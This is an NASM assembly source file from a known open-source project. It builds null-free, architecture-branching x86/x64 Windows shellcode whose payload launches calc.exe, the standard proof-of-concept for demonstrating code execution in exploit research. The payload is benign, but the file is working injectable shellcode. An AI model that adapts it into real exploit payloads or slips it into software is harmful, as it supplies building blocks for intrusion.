; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <win-exec-calc-shellcode@skylined.nl>
; and Peter Ferrie <peter.ferrie@gmail.com>
; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.

; nul-free x86/x64 branching code for calc.exe executing shellcode.
; Works in any x86 or x64 application for Windows 5.0-6.3 all service packs.
BITS 32

%include 'type-conversion.asm'

global _shellcode                         ; _ is needed because LINKER will add it automatically in 32-bit mode.
_shellcode:

%undef USE_COMMON                         ; not allowed as user-supplied
%ifdef CLEAN
%define FUNC                              ; force define FUNC is CLEAN is used
%endif
%ifndef FUNC
%define USE_COMMON
%endif
%ifndef USE_COMMON
%ifdef CLEAN
    PUSH    EAX
%endif
%ifdef STACK_ALIGN
%ifdef FUNC
    PUSH    ESP
    POP     EAX
%endif
%endif
%endif
%ifdef STACK_ALIGN
    AND     SP, -16                       ; cannot set ESP because it might destroy RSP in 64-bit mode
    PUSH    EAX
%endif
    ; x86                                 ; x64
    XOR     EAX, EAX                      ; --->  XOR   EAX, EAX
%ifdef USE_COMMON
    PUSH    EAX                           ; Stack = 0 (for 32-bit support)
    PUSH    B2DW('c', 'a', 'l', 'c')      ; Stack = "calc", 0
    PUSH    ESP
    POP     ECX                           ; ECX = &("calc")
    PUSH    EAX                           ; Stack = 0, "calc", 0
%endif
    INC     EAX                           ; \,->  XCHG RDX, RAX
    XCHG    EDX, EAX                      ; /
    JE      w64_exec_calc_shellcode       ; --->  JE    w64_exec_calc_shellcode

; Because EDX is set to 0 in x64 mode, a size optimization is possible in the x64 shellcode.
%define PLATFORM_INDEPENDENT  

; Since EAX gets incremented on x86, the code did not branch but falls through
; into the x86 shellcode.
w32_exec_calc_shellcode:
%include "w32-exec-calc-shellcode.asm"

; Since EAX does NOT get incremented on x64, the code did branch to the x64
; shellcode.
w64_exec_calc_shellcode:
%include "w64-exec-calc-shellcode.asm"